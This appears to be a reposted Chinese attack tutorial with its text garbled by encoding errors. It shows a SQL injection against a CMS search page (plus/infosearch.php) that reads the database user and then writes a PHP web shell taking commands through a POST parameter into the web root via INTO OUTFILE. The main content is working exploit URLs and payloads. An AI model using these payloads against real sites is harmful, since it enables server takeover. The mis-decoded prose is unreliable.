
1,װĿ¼install δɾ
2, into outfile Ȩ 'rootȨ޻Ȩ'
ǿעȨ
www.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,user(),4,5,6/*
Ϊ root@localhost  ͺгɹϣ
Ҫ
1,www.baidu.com/install/index.php?step=2
ȱװĿ¼,Լ鿴Ŀ¼дȨ
豬վĿ¼ΪD:\wwwroot

2,www.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*
into outfile дĿ¼ Ҫ\תΪ\\  ҪдĿ¼һҪдȨ 
ִгɹ d:\wwwroot ոдһ仰php Ϊduizhang.php Ϊcmd
ԴڶԵȴͣhttp://www.waitalone.cn/ ԭĵַhttp://www.waitalone.cn/post/54.html 


